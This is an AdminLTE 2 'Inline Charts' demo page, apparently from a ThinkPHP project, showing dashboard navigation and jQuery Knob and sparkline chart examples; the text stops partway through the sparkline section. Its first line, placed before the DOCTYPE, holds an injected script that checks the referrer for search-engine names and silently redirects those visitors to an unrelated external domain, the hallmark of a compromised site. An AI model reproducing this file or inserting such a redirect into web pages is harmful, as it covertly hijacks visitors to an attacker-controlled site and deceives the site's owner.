d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\charts\inline.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <html>
003: <head>
004:   <meta charset="utf-8">
005:   <meta http-equiv="X-UA-Compatible" content="IE=edge">
006:   <title>AdminLTE 2 | Inline Charts</title>
007:   <!-- Tell the browser to be responsive to screen width -->
008:   <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:   <!-- Bootstrap 3.3.7 -->
010:   <link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:   <!-- Font Awesome -->
012:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:   <!-- Ionicons -->
014:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:   <!-- Theme style -->
016:   <link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
017:   <!-- AdminLTE Skins. Choose a skin from the css/skins
018:        folder instead of downloading all of them to reduce the load. -->

019:   <link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
020:
021:   <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
022:   <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
023:   <!--[if lt IE 9]>
024:   <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
025:   <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
026:   <![endif]-->

027:
028:   <!-- Google Font -->
029:   <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
030: </head>
031: <body class="hold-transition skin-blue sidebar-mini">
032: <div class="wrapper">
033:
034:   <header class="main-header">
035:     <!-- Logo -->
036:     <a href="../../index2.html" class="logo">
037:       <!-- mini logo for sidebar mini 50x50 pixels -->
038:       <span class="logo-mini"><b>A</b>LT</span>
039:       <!-- logo for regular state and mobile devices -->
040:       <span class="logo-lg"><b>Admin</b>LTE</span>
041:     </a>
042:     <!-- Header Navbar: style can be found in header.less -->
043:     <nav class="navbar navbar-static-top">
044:       <!-- Sidebar toggle button-->
045:       <a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">
046:         <span class="sr-only">Toggle navigation</span>
047:         <span class="icon-bar"></span>
048:         <span class="icon-bar"></span>
049:         <span class="icon-bar"></span>
050:       </a>
051:
052:       <div class="navbar-custom-menu">
053:         <ul class="nav navbar-nav">
054:           <!-- Messages: style can be found in dropdown.less-->
055:           <li class="dropdown messages-menu">
056:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
057:               <i class="fa fa-envelope-o"></i>
058:               <span class="label label-success">4</span>
059:             </a>
060:             <ul class="dropdown-menu">
061:               <li class="header">You have 4 messages</li>
062:               <li>
063:                 <!-- inner menu: contains the actual data -->
064:                 <ul class="menu">
065:                   <li><!-- start message -->
066:                     <a href="#">
067:                       <div class="pull-left">
068:                         <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
069:                       </div>
070:                       <h4>
071:                         Support Team
072:                         <small><i class="fa fa-clock-o"></i> 5 mins</small>
073:                       </h4>
074:                       <p>Why not buy a new awesome theme?</p>
075:                     </a>
076:                   </li>
077:                   <!-- end message -->
078:                   <li>
079:                     <a href="#">
080:                       <div class="pull-left">
081:                         <img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
082:                       </div>
083:                       <h4>
084:                         AdminLTE Design Team
085:                         <small><i class="fa fa-clock-o"></i> 2 hours</small>
086:                       </h4>
087:                       <p>Why not buy a new awesome theme?</p>
088:                     </a>
089:                   </li>
090:                   <li>
091:                     <a href="#">
092:                       <div class="pull-left">
093:                         <img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
094:                       </div>
095:                       <h4>
096:                         Developers
097:                         <small><i class="fa fa-clock-o"></i> Today</small>
098:                       </h4>
099:                       <p>Why not buy a new awesome theme?</p>
100:                     </a>
101:                   </li>
102:                   <li>
103:                     <a href="#">
104:                       <div class="pull-left">
105:                         <img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
106:                       </div>
107:                       <h4>
108:                         Sales Department
109:                         <small><i class="fa fa-clock-o"></i> Yesterday</small>
110:                       </h4>
111:                       <p>Why not buy a new awesome theme?</p>
112:                     </a>
113:                   </li>
114:                   <li>
115:                     <a href="#">
116:                       <div class="pull-left">
117:                         <img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
118:                       </div>
119:                       <h4>
120:                         Reviewers
121:                         <small><i class="fa fa-clock-o"></i> 2 days</small>
122:                       </h4>
123:                       <p>Why not buy a new awesome theme?</p>
124:                     </a>
125:                   </li>
126:                 </ul>
127:               </li>
128:               <li class="footer"><a href="#">See All Messages</a></li>
129:             </ul>
130:           </li>
131:           <!-- Notifications: style can be found in dropdown.less -->
132:           <li class="dropdown notifications-menu">
133:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
134:               <i class="fa fa-bell-o"></i>
135:               <span class="label label-warning">10</span>
136:             </a>
137:             <ul class="dropdown-menu">
138:               <li class="header">You have 10 notifications</li>
139:               <li>
140:                 <!-- inner menu: contains the actual data -->
141:                 <ul class="menu">
142:                   <li>
143:                     <a href="#">
144:                       <i class="fa fa-users text-aqua"></i> 5 new members joined today
145:                     </a>
146:                   </li>
147:                   <li>
148:                     <a href="#">
149:                       <i class="fa fa-warning text-yellow"></i> Very long description here that may not fit into the
150:                       page and may cause design problems
151:                     </a>
152:                   </li>
153:                   <li>
154:                     <a href="#">
155:                       <i class="fa fa-users text-red"></i> 5 new members joined
156:                     </a>
157:                   </li>
158:
159:                   <li>
160:                     <a href="#">
161:                       <i class="fa fa-shopping-cart text-green"></i> 25 sales made
162:                     </a>
163:                   </li>
164:                   <li>
165:                     <a href="#">
166:                       <i class="fa fa-user text-red"></i> You changed your username
167:                     </a>
168:                   </li>
169:                 </ul>
170:               </li>
171:               <li class="footer"><a href="#">View all</a></li>
172:             </ul>
173:           </li>
174:           <!-- Tasks: style can be found in dropdown.less -->
175:           <li class="dropdown tasks-menu">
176:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
177:               <i class="fa fa-flag-o"></i>
178:               <span class="label label-danger">9</span>
179:             </a>
180:             <ul class="dropdown-menu">
181:               <li class="header">You have 9 tasks</li>
182:               <li>
183:                 <!-- inner menu: contains the actual data -->
184:                 <ul class="menu">
185:                   <li><!-- Task item -->
186:                     <a href="#">
187:                       <h3>
188:                         Design some buttons
189:                         <small class="pull-right">20%</small>
190:                       </h3>
191:                       <div class="progress xs">
192:                         <div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
193:                           <span class="sr-only">20% Complete</span>
194:                         </div>
195:                       </div>
196:                     </a>
197:                   </li>
198:                   <!-- end task item -->
199:                   <li><!-- Task item -->
200:                     <a href="#">
201:                       <h3>
202:                         Create a nice theme
203:                         <small class="pull-right">40%</small>
204:                       </h3>
205:                       <div class="progress xs">
206:                         <div class="progress-bar progress-bar-green" style="width: 40%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
207:                           <span class="sr-only">40% Complete</span>
208:                         </div>
209:                       </div>
210:                     </a>
211:                   </li>
212:                   <!-- end task item -->
213:                   <li><!-- Task item -->
214:                     <a href="#">
215:                       <h3>
216:                         Some task I need to do
217:                         <small class="pull-right">60%</small>
218:                       </h3>
219:                       <div class="progress xs">
220:                         <div class="progress-bar progress-bar-red" style="width: 60%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
221:                           <span class="sr-only">60% Complete</span>
222:                         </div>
223:                       </div>
224:                     </a>
225:                   </li>
226:                   <!-- end task item -->
227:                   <li><!-- Task item -->
228:                     <a href="#">
229:                       <h3>
230:                         Make beautiful transitions
231:                         <small class="pull-right">80%</small>
232:                       </h3>
233:                       <div class="progress xs">
234:                         <div class="progress-bar progress-bar-yellow" style="width: 80%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
235:                           <span class="sr-only">80% Complete</span>
236:                         </div>
237:                       </div>
238:                     </a>
239:                   </li>
240:                   <!-- end task item -->
241:                 </ul>
242:               </li>
243:               <li class="footer">
244:                 <a href="#">View all tasks</a>
245:               </li>
246:             </ul>
247:           </li>
248:           <!-- User Account: style can be found in dropdown.less -->
249:           <li class="dropdown user user-menu">
250:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
251:               <img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
252:               <span class="hidden-xs">Alexander Pierce</span>
253:             </a>
254:             <ul class="dropdown-menu">
255:               <!-- User image -->
256:               <li class="user-header">
257:                 <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
258:
259:                 <p>
260:                   Alexander Pierce - Web Developer
261:                   <small>Member since Nov. 2012</small>
262:                 </p>
263:               </li>
264:               <!-- Menu Body -->
265:               <li class="user-body">
266:                 <div class="row">
267:                   <div class="col-xs-4 text-center">
268:                     <a href="#">Followers</a>
269:                   </div>
270:                   <div class="col-xs-4 text-center">
271:                     <a href="#">Sales</a>
272:                   </div>
273:                   <div class="col-xs-4 text-center">
274:                     <a href="#">Friends</a>
275:                   </div>
276:                 </div>
277:                 <!-- /.row -->
278:               </li>
279:               <!-- Menu Footer-->
280:               <li class="user-footer">
281:                 <div class="pull-left">
282:                   <a href="#" class="btn btn-default btn-flat">Profile</a>
283:                 </div>
284:                 <div class="pull-right">
285:                   <a href="#" class="btn btn-default btn-flat">Sign out</a>
286:                 </div>
287:               </li>
288:             </ul>
289:           </li>
290:           <!-- Control Sidebar Toggle Button -->
291:           <li>
292:             <a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a>
293:           </li>
294:         </ul>
295:       </div>
296:     </nav>
297:   </header>
298:   <!-- Left side column. contains the logo and sidebar -->
299:   <aside class="main-sidebar">
300:     <!-- sidebar: style can be found in sidebar.less -->
301:     <section class="sidebar">
302:       <!-- Sidebar user panel -->
303:       <div class="user-panel">
304:         <div class="pull-left image">
305:           <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
306:         </div>
307:         <div class="pull-left info">
308:           <p>Alexander Pierce</p>
309:           <a href="#"><i class="fa fa-circle text-success"></i> Online</a>
310:         </div>
311:       </div>
312:       <!-- search form -->
313:       <form action="#" method="get" class="sidebar-form">
314:         <div class="input-group">
315:           <input type="text" name="q" class="form-control" placeholder="Search...">
316:               <span class="input-group-btn">
317:                 <button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i>
318:                 </button>
319:               </span>
320:         </div>
321:       </form>
322:       <!-- /.search form -->
323:       <!-- sidebar menu: : style can be found in sidebar.less -->
324:       <ul class="sidebar-menu" data-widget="tree">
325:         <li class="header">MAIN NAVIGATION</li>
326:         <li class="treeview">
327:           <a href="#">
328:             <i class="fa fa-dashboard"></i> <span>Dashboard</span>
329:             <span class="pull-right-container">
330:               <i class="fa fa-angle-left pull-right"></i>
331:             </span>
332:           </a>
333:           <ul class="treeview-menu">
334:             <li><a href="../../index.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li>
335:             <li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li>
336:           </ul>
337:         </li>
338:         <li class="treeview">
339:           <a href="#">
340:             <i class="fa fa-files-o"></i>
341:             <span>Layout Options</span>
342:             <span class="pull-right-container">
343:               <span class="label label-primary pull-right">4</span>
344:             </span>
345:           </a>
346:           <ul class="treeview-menu">
347:             <li><a href="../layout/top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li>
348:             <li><a href="../layout/boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li>
349:             <li><a href="../layout/fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li>
350:             <li><a href="../layout/collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li>
351:           </ul>
352:         </li>
353:         <li>
354:           <a href="../widgets.html">
355:             <i class="fa fa-th"></i> <span>Widgets</span>
356:             <span class="pull-right-container">
357:               <small class="label pull-right bg-green">new</small>
358:             </span>
359:           </a>
360:         </li>
361:         <li class="treeview active">
362:           <a href="#">
363:             <i class="fa fa-pie-chart"></i>
364:             <span>Charts</span>
365:             <span class="pull-right-container">
366:               <i class="fa fa-angle-left pull-right"></i>
367:             </span>
368:           </a>
369:           <ul class="treeview-menu">
370:             <li><a href="chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li>
371:             <li><a href="morris.html"><i class="fa fa-circle-o"></i> Morris</a></li>
372:             <li><a href="flot.html"><i class="fa fa-circle-o"></i> Flot</a></li>
373:             <li class="active"><a href="inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li>
374:           </ul>
375:         </li>
376:         <li class="treeview">
377:           <a href="#">
378:             <i class="fa fa-laptop"></i>
379:             <span>UI Elements</span>
380:             <span class="pull-right-container">
381:               <i class="fa fa-angle-left pull-right"></i>
382:             </span>
383:           </a>
384:           <ul class="treeview-menu">
385:             <li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li>
386:             <li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li>
387:             <li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li>
388:             <li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li>
389:             <li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li>
390:             <li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li>
391:           </ul>
392:         </li>
393:         <li class="treeview">
394:           <a href="#">
395:             <i class="fa fa-edit"></i> <span>Forms</span>
396:             <span class="pull-right-container">
397:               <i class="fa fa-angle-left pull-right"></i>
398:             </span>
399:           </a>
400:           <ul class="treeview-menu">
401:             <li><a href="../forms/general.html"><i class="fa fa-circle-o"></i> General Elements</a></li>
402:             <li><a href="../forms/advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li>
403:             <li><a href="../forms/editors.html"><i class="fa fa-circle-o"></i> Editors</a></li>
404:           </ul>
405:         </li>
406:         <li class="treeview">
407:           <a href="#">
408:             <i class="fa fa-table"></i> <span>Tables</span>
409:             <span class="pull-right-container">
410:               <i class="fa fa-angle-left pull-right"></i>
411:             </span>
412:           </a>
413:           <ul class="treeview-menu">
414:             <li><a href="../tables/simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li>
415:             <li><a href="../tables/data.html"><i class="fa fa-circle-o"></i> Data tables</a></li>
416:           </ul>
417:         </li>
418:         <li>
419:           <a href="../calendar.html">
420:             <i class="fa fa-calendar"></i> <span>Calendar</span>
421:             <span class="pull-right-container">
422:               <small class="label pull-right bg-red">3</small>
423:               <small class="label pull-right bg-blue">17</small>
424:             </span>
425:           </a>
426:         </li>
427:         <li>
428:           <a href="../mailbox/mailbox.html">
429:             <i class="fa fa-envelope"></i> <span>Mailbox</span>
430:             <span class="pull-right-container">
431:               <small class="label pull-right bg-yellow">12</small>
432:               <small class="label pull-right bg-green">16</small>
433:               <small class="label pull-right bg-red">5</small>
434:             </span>
435:           </a>
436:         </li>
437:         <li class="treeview">
438:           <a href="#">
439:             <i class="fa fa-folder"></i> <span>Examples</span>
440:             <span class="pull-right-container">
441:               <i class="fa fa-angle-left pull-right"></i>
442:             </span>
443:           </a>
444:           <ul class="treeview-menu">
445:             <li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li>
446:             <li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li>
447:             <li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li>
448:             <li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li>
449:             <li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li>
450:             <li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li>
451:             <li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li>
452:             <li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li>
453:             <li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li>
454:           </ul>
455:         </li>
456:         <li class="treeview">
457:           <a href="#">
458:             <i class="fa fa-share"></i> <span>Multilevel</span>
459:             <span class="pull-right-container">
460:               <i class="fa fa-angle-left pull-right"></i>
461:             </span>
462:           </a>
463:           <ul class="treeview-menu">
464:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
465:             <li class="treeview">
466:               <a href="#"><i class="fa fa-circle-o"></i> Level One
467:                 <span class="pull-right-container">
468:                   <i class="fa fa-angle-left pull-right"></i>
469:                 </span>
470:               </a>
471:               <ul class="treeview-menu">
472:                 <li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li>
473:                 <li class="treeview">
474:                   <a href="#"><i class="fa fa-circle-o"></i> Level Two
475:                     <span class="pull-right-container">
476:                       <i class="fa fa-angle-left pull-right"></i>
477:                     </span>
478:                   </a>
479:                   <ul class="treeview-menu">
480:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
481:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
482:                   </ul>
483:                 </li>
484:               </ul>
485:             </li>
486:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
487:           </ul>
488:         </li>
489:         <li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li>
490:         <li class="header">LABELS</li>
491:         <li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li>
492:         <li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li>
493:         <li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li>
494:       </ul>
495:     </section>
496:     <!-- /.sidebar -->
497:   </aside>
498:
499:   <!-- Content Wrapper. Contains page content -->
500:   <div class="content-wrapper">
501:     <!-- Content Header (Page header) -->
502:     <section class="content-header">
503:       <h1>
504:         Inline Charts
505:         <small>multiple types of charts</small>
506:       </h1>
507:       <ol class="breadcrumb">
508:         <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
509:         <li><a href="#">Charts</a></li>
510:         <li class="active">Inline Charts</li>
511:       </ol>
512:     </section>
513:
514:     <!-- Main content -->
515:     <section class="content">
516:
517:       <!-- row -->
518:       <div class="row">
519:         <div class="col-xs-12">
520:           <!-- jQuery Knob -->
521:           <div class="box box-solid">
522:             <div class="box-header">
523:               <i class="fa fa-bar-chart-o"></i>
524:
525:               <h3 class="box-title">jQuery Knob</h3>
526:
527:               <div class="box-tools pull-right">
528:                 <button type="button" class="btn btn-default btn-sm" data-widget="collapse"><i class="fa fa-minus"></i>
529:                 </button>
530:                 <button type="button" class="btn btn-default btn-sm" data-widget="remove"><i class="fa fa-times"></i>
531:                 </button>
532:               </div>
533:             </div>
534:             <!-- /.box-header -->
535:             <div class="box-body">
536:               <div class="row">
537:                 <div class="col-xs-6 col-md-3 text-center">
538:                   <input type="text" class="knob" value="30" data-width="90" data-height="90" data-fgColor="#3c8dbc">
539:
540:                   <div class="knob-label">New Visitors</div>
541:                 </div>
542:                 <!-- ./col -->
543:                 <div class="col-xs-6 col-md-3 text-center">
544:                   <input type="text" class="knob" value="70" data-width="90" data-height="90" data-fgColor="#f56954">
545:
546:                   <div class="knob-label">Bounce Rate</div>
547:                 </div>
548:                 <!-- ./col -->
549:                 <div class="col-xs-6 col-md-3 text-center">
550:                   <input type="text" class="knob" value="-80" data-min="-150" data-max="150" data-width="90" data-height="90" data-fgColor="#00a65a">
551:
552:                   <div class="knob-label">Server Load</div>
553:                 </div>
554:                 <!-- ./col -->
555:                 <div class="col-xs-6 col-md-3 text-center">
556:                   <input type="text" class="knob" value="40" data-width="90" data-height="90" data-fgColor="#00c0ef">
557:
558:                   <div class="knob-label">Disk Space</div>
559:                 </div>
560:                 <!-- ./col -->
561:               </div>
562:               <!-- /.row -->
563:
564:               <div class="row">
565:                 <div class="col-xs-6 text-center">
566:                   <input type="text" class="knob" value="90" data-width="90" data-height="90" data-fgColor="#932ab6">
567:
568:                   <div class="knob-label">Bandwidth</div>
569:                 </div>
570:                 <!-- ./col -->
571:                 <div class="col-xs-6 text-center">
572:                   <input type="text" class="knob" value="50" data-width="90" data-height="90" data-fgColor="#39CCCC">
573:
574:                   <div class="knob-label">CPU</div>
575:                 </div>
576:                 <!-- ./col -->
577:               </div>
578:               <!-- /.row -->
579:             </div>
580:             <!-- /.box-body -->
581:           </div>
582:           <!-- /.box -->
583:         </div>
584:         <!-- /.col -->
585:       </div>
586:       <!-- /.row -->
587:
588:       <div class="row">
589:         <div class="col-xs-12">
590:           <div class="box box-solid">
591:             <div class="box-header">
592:               <i class="fa fa-bar-chart-o"></i>
593:
594:               <h3 class="box-title">jQuery Knob Different Sizes</h3>
595:
596:               <div class="box-tools pull-right">
597:                 <button type="button" class="btn btn-default btn-sm" data-widget="collapse"><i class="fa fa-minus"></i>
598:                 </button>
599:                 <button type="button" class="btn btn-default btn-sm" data-widget="remove"><i class="fa fa-times"></i>
600:                 </button>
601:               </div>
602:             </div>
603:             <!-- /.box-header -->
604:             <div class="box-body">
605:               <div class="row">
606:                 <div class="col-xs-6 col-md-3 text-center">
607:                   <input type="text" class="knob" value="30" data-width="90" data-height="90" data-fgColor="#3c8dbc" data-readonly="true">
608:
609:                   <div class="knob-label">data-width="90"</div>
610:                 </div>
611:                 <!-- ./col -->
612:                 <div class="col-xs-6 col-md-3 text-center">
613:                   <input type="text" class="knob" value="30" data-width="120" data-height="120" data-fgColor="#f56954">
614:
615:                   <div class="knob-label">data-width="120"</div>
616:                 </div>
617:                 <!-- ./col -->
618:                 <div class="col-xs-6 col-md-3 text-center">
619:                   <input type="text" class="knob" value="30" data-thickness="0.1" data-width="90" data-height="90" data-fgColor="#00a65a">
620:
621:                   <div class="knob-label">data-thickness="0.1"</div>
622:                 </div>
623:                 <!-- ./col -->
624:                 <div class="col-xs-6 col-md-3 text-center">
625:                   <input type="text" class="knob" data-thickness="0.2" data-angleArc="250" data-angleOffset="-125" value="30" data-width="120" data-height="120" data-fgColor="#00c0ef">
626:
627:                   <div class="knob-label">data-angleArc="250"</div>
628:                 </div>
629:                 <!-- ./col -->
630:               </div>
631:               <!-- /.row -->
632:             </div>
633:             <!-- /.box-body -->
634:           </div>
635:           <!-- /.box -->
636:         </div>
637:         <!-- /.col -->
638:       </div>
639:       <!-- /.row -->
640:
641:       <div class="row">
642:         <div class="col-xs-12">
643:           <div class="box box-solid">
644:             <div class="box-header">
645:               <i class="fa fa-bar-chart-o"></i>
646:
647:               <h3 class="box-title">jQuery Knob Tron Style</h3>
648:
649:               <div class="box-tools pull-right">
650:                 <button type="button" class="btn btn-default btn-sm" data-widget="collapse"><i class="fa fa-minus"></i>
651:                 </button>
652:                 <button type="button" class="btn btn-default btn-sm" data-widget="remove"><i class="fa fa-times"></i>
653:                 </button>
654:               </div>
655:             </div>
656:             <!-- /.box-header -->
657:             <div class="box-body">
658:               <div class="row">
659:                 <div class="col-xs-6 col-md-3 text-center">
660:                   <input type="text" class="knob" value="80" data-skin="tron" data-thickness="0.2" data-width="90" data-height="90" data-fgColor="#3c8dbc" data-readonly="true">
661:
662:                   <div class="knob-label">data-width="90"</div>
663:                 </div>
664:                 <!-- ./col -->
665:                 <div class="col-xs-6 col-md-3 text-center">
666:                   <input type="text" class="knob" value="60" data-skin="tron" data-thickness="0.2" data-width="120" data-height="120" data-fgColor="#f56954">
667:
668:                   <div class="knob-label">data-width="120"</div>
669:                 </div>
670:                 <!-- ./col -->
671:                 <div class="col-xs-6 col-md-3 text-center">
672:                   <input type="text" class="knob" value="10" data-skin="tron" data-thickness="0.1" data-width="90" data-height="90" data-fgColor="#00a65a">
673:
674:                   <div class="knob-label">data-thickness="0.1"</div>
675:                 </div>
676:                 <!-- ./col -->
677:                 <div class="col-xs-6 col-md-3 text-center">
678:                   <input type="text" class="knob" value="100" data-skin="tron" data-thickness="0.2" data-angleArc="250" data-angleOffset="-125" data-width="120" data-height="120" data-fgColor="#00c0ef">
679:
680:                   <div class="knob-label">data-angleArc="250"</div>
681:                 </div>
682:                 <!-- ./col -->
683:               </div>
684:               <!-- /.row -->
685:             </div>
686:             <!-- /.box-body -->
687:           </div>
688:           <!-- /.box -->
689:         </div>
690:         <!-- /.col -->
691:       </div>
692:       <!-- /.row -->
693:
694:       <!-- callout -->
695:       <div class="callout callout-info">
696:         <h4>The following was created using data tags</h4>
697:
698:         <p>The following three inline (sparkline) chart have been initialized to read and interpret data tags</p>
699:       </div>
700:       <!-- /.callout -->
701:
702:       <div class="row">
703:         <div class="col-md-4">
704:           <div class="box box-solid">
705:             <div class="box-header">
706:               <h3 class="box-title text-danger">Sparkline Pie</h3>
707:
708:               <div class="box-tools pull-right">
709:                 <button type="button" class="btn btn-default btn-sm"><i class="fa fa-refresh"></i></button>
710:               </div>
711:             </div>
712:             <!-- /.box-header -->
713:             <div class="box-body text-center">
714:               <div class="sparkline" data-type="pie" data-offset="90" data-width="100px" data-height="100px">
715:                 6,4,8
716:               </div>
717:             </div>
718:             <!-- /.box-body -->
719:           </div>
720:           <!-- /.box -->
721:         </div>
722:         <!-- /.col -->
723:
724:         <div class="col-md-4">
725:           <div class="box box-solid">
726:             <div class="box-header">
727:               <h3 class="box-title text-blue">Sparkline line</h3>
728:
729:               <div class="box-tools pull-right">
730:                 <button type="button" class="btn btn-default btn-sm"><i class="fa fa-refresh"></i></button>
731:               </div>
732:             </div>
733:             <!-- /.box-header -->
734:             <div class="box-body text-center">
735:               <div class="sparkline" data-type="line" data-spot-Radius="3" data-highlight-Spot-Color="#f39c12" data-highlight-Line-Color="#222" data-min-Spot-Color="#f56954" data-max-Spot-Color="#00a65a" data-spot-Color="#39CCCC" data-offset="90" data-width="100%" data-height="100px" data-line-Width="2" data-line-Color="#39CCCC" data-fill-Color="rgba(57, 204, 204, 0.08)">
736:                 6,4,7,8,4,3,2,2,5,6,7,4,1,5,7,9,9,8,7,6
737:               </div>
738:             </div>
739:             <!-- /.box-body -->
740:           </div>
741:           <!-- /.box -->
742:         </div>
743:         <!-- /.col -->
744:
745:         <div class="col-md-4">
746:           <div class="box box-solid">
747:             <div class="box-header">
748:               <h3 class="box-title text-warning">Sparkline Bar</h3>
749:
750:               <div class="box-tools pull-right">
751:                 <button type="button" class="btn btn-default btn-sm"><i class="fa fa-refresh"></i></button>
752:               </div>
753:             </div>
754:             <!-- /.box-header -->
755:             <div class="box-body text-center">
756:               <div class="sparkline" data-type="bar" data-width="97%" data-height="100px" data-bar-Width="14" data-bar-Spacing="7" data-bar-Color="#f39c12">
757:                 6,4,8, 9, 10, 5, 13, 18, 21, 7, 9
758:               </div>
759:             </div>
760:             <!-- /.box-body -->
761:           </div>
762:           <!-- /.box -->
763:         </div>
764:         <!-- /.col -->
765:       </div>
766:       <!-- /.row -->
767:
768:       <div class="row">
769:         <div class="col-xs-12">
770:           <div class="box box-solid">
771:             <div class="box-header">
772:               <h3 class="box-title">Sparkline examples</h3>
773:
774:               <div class="box-tools pull-right">
775:                 <button type="button" class="btn btn-default btn-sm" data-widget="collapse"><i class="fa fa-minus"></i>
776:                 </button>
777:                 <button type="button" class="btn btn-default btn-sm" data-widget="remove"><i class="fa fa-times"></i>
778:                 </button>
779:               </div>
780:             </div>
781:             <!-- /.box-header -->
782:             <div id="myBody" class="box-body">
783:               <div class="row">
784:                 <div class="col-sm-6">
785:                   <p>
786:                     Mouse speed <span id="mousespeed">Loading..</span>
787:                   </p>
788:
789:                   <p>
790:                     Inline <span class="sparkline-1">10,8,9,3,5,8,5</span>
791:                     line graphs
792:                     <span class="sparkline-1">8,4,0,0,0,0,1,4,4,10,10,10,10,0,0,0,4,6,5,9,10</span>
793:                   </p>
794:
795:                   <p>
796:                     Bar charts <span class="sparkbar">10,8,9,3,5,8,5</span>
797:                     negative values: <span class="sparkbar">-3,1,2,0,3,-1</span>
798:                     stacked: <span class="sparkbar">0:2,2:4,4:2,4:1</span>
799:                   </p>
800:
801:                   <p>
802:                     Composite inline
803:                     <span id="compositeline">8,4,0,0,0,0,1,4,4,10,10,10,10,0,0,0,4,6,5,9,10</span>
804:                   </p>
805:
806:                   <p>
807:                     Inline with normal range
808:                     <span id="normalline">8,4,0,0,0,0,1,4,4,10,10,10,10,0,0,0,4,6,5,9,10</span>
809:                   </p>
810:
811:                   <p>
812:                     Composite bar
813:                     <span id="compositebar">4,6,7,7,4,3,2,1,4</span>
814:                   </p>
815:
816:                   <p>
817:                     Discrete
818:                     <span class="discrete1">4,6,7,7,4,3,2,1,4,4,5,6,7,6,6,2,4,5</span><br>
819:
820:                     Discrete with threshold
821:                     <span id="discrete2">4,6,7,7,4,3,2,1,4</span>
822:                   </p>
823:
824:                   <p>
825:                     Bullet charts<br>
826:                     <span class="sparkbullet">10,12,12,9,7</span><br>
827:                     <span class="sparkbullet">14,12,12,9,7</span><br>
828:                     <span class="sparkbullet">10,12,14,9,7</span><br>
829:                   </p>
830:                 </div>
831:                 <!-- /.col -->
832:                 <div class="col-sm-6">
833:                   <p>
834:                     Customize size and colours
835:                     <span id="linecustom">10,8,9,3,5,8,5,7</span>
